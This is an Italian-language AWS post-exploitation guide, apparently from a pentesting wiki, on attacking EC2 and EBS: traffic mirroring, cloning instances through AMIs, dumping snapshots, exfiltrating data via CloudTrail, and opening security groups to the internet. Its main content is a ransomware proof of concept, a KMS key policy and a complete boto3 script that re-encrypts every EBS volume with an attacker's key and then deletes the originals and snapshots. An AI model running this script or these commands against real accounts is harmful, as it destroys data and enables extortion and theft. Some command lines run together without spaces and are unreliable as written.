Il mirroring del traffico VPC duplica il traffico in entrata e in uscita per le istanze EC2 all'interno di un VPC senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato verrebbe comunemente inviato a qualcosa come un sistema di rilevamento delle intrusioni di rete (IDS) per analisi e monitoraggio.
Un attaccante potrebbe abusare di questo per catturare tutto il traffico e ottenere informazioni sensibili da esso:
Per maggiori informazioni controlla questa pagina:
Le istanze di solito contengono qualche tipo di informazione sensibile. Ci sono diversi modi per entrare (controlla trucchi di escalation dei privilegi EC2). Tuttavia, un altro modo per verificare cosa contiene è creare un AMI e avviare una nuova istanza (anche nel tuo account) da esso:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
Dump di Snapshot EBS
Gli snapshot sono backup dei volumi, che di solito contengono informazioni sensibili, quindi controllarli dovrebbe rivelare queste informazioni.
Se trovi un volume senza uno snapshot potresti: Creare uno snapshot ed eseguire le seguenti azioni o semplicemente montarlo in un'istanza all'interno dell'account:
Un attaccante potrebbe chiamare endpoint API di un account controllato da lui. Cloudtrail registrerà queste chiamate e l'attaccante sarà in grado di vedere i dati esfiltrati nei log di Cloudtrail.
Security Group Aperto
Potresti ottenere ulteriore accesso ai servizi di rete aprendo porte come questa:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
È possibile eseguire un'istanza EC2 e registrarla per essere utilizzata per eseguire istanze ECS e quindi rubare i dati delle istanze ECS.
Una prova di concetto simile alla dimostrazione di Ransomware mostrata nelle note di post-exploitation di S3. KMS dovrebbe essere rinominato in RMS per Ransomware Management Service per quanto è facile usarlo per crittografare vari servizi AWS.
Per prima cosa, da un account AWS 'attaccante', crea una chiave gestita dal cliente in KMS. Per questo esempio, lasceremo che AWS gestisca i dati della chiave per me, ma in uno scenario realistico un attore malevolo conserverebbe i dati della chiave al di fuori del controllo di AWS. Cambia la policy della chiave per consentire a qualsiasi Principal dell'account AWS di usare la chiave. Per questa policy della chiave, il nome dell'account era 'AttackSim' e la regola della policy che consente tutto l'accesso è chiamata 'Outside Encryption'.
La regola della policy della chiave necessita delle seguenti abilitazioni per permettere l'uso per criptare un volume EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Ora con la chiave pubblicamente accessibile da usare. Possiamo usare un account 'vittima' che ha alcune istanze EC2 avviate con volumi EBS non criptati collegati. I volumi EBS di questo account 'vittima' sono il nostro obiettivo per la crittografia, questo attacco è sotto l'ipotesi di una violazione di un account AWS con privilegi elevati.
Pasted image 20231231172655
Pasted image 20231231172734
Simile all'esempio del ransomware S3. Questo attacco creerà copie dei volumi EBS collegati usando snapshot, utilizzerà la chiave pubblicamente disponibile dall'account 'attaccante' per criptare i nuovi volumi EBS, poi scollega i volumi EBS originali dalle istanze EC2 e li elimina, e infine elimina gli snapshot usati per creare i nuovi volumi EBS criptati.
Questo risulta in soli volumi EBS criptati rimasti disponibili nell'account.
Pasted image 20231231173338
Vale anche la pena notare che lo script ha fermato le istanze EC2 per scollegare ed eliminare i volumi EBS originali. I volumi originali non criptati sono ora spariti.
Pasted image 20231231173931
Successivamente, torna alla policy della chiave nell'account 'attaccante' e rimuovi la regola della policy 'Outside Encryption' dalla policy della chiave.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Aspetta un momento affinché la nuova policy della chiave si propaghi. Poi torna all'account 'vittima' e prova ad allegare uno dei nuovi volumi EBS criptati. Scoprirai che puoi allegare il volume.
Pasted image 20231231174131
Pasted image 20231231174258
Ma quando tenti di riavviare l'istanza EC2 con il volume EBS criptato, fallirà e passerà dallo stato 'pending' allo stato 'stopped' per sempre poiché il volume EBS allegato non può essere decriptato usando la chiave, dato che la policy della chiave non lo permette più.
Pasted image 20231231174322
Pasted image 20231231174352
Questo è lo script python utilizzato. Prende le credenziali AWS per un account 'vittima' e un valore AWS ARN pubblicamente disponibile per la chiave da utilizzare per la crittografia. Lo script farà copie criptate di TUTTI i volumi EBS disponibili allegati a TUTTE le istanze EC2 nell'account AWS mirato, poi fermerà ogni istanza EC2, staccherà i volumi EBS originali, li eliminerà e infine eliminerà tutti gli snapshot utilizzati durante il processo. Questo lascerà solo volumi EBS criptati nell'account 'vittima' mirato. UTILIZZARE QUESTO SCRIPT SOLO IN UN AMBIENTE DI TEST, È DISTRUTTIVO E ELIMINERÀ TUTTI I VOLUMI EBS ORIGINALI. Puoi recuperarli utilizzando la chiave KMS utilizzata e ripristinarli al loro stato originale tramite snapshot, ma voglio solo farti sapere che questo è un PoC di ransomware alla fine della giornata.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()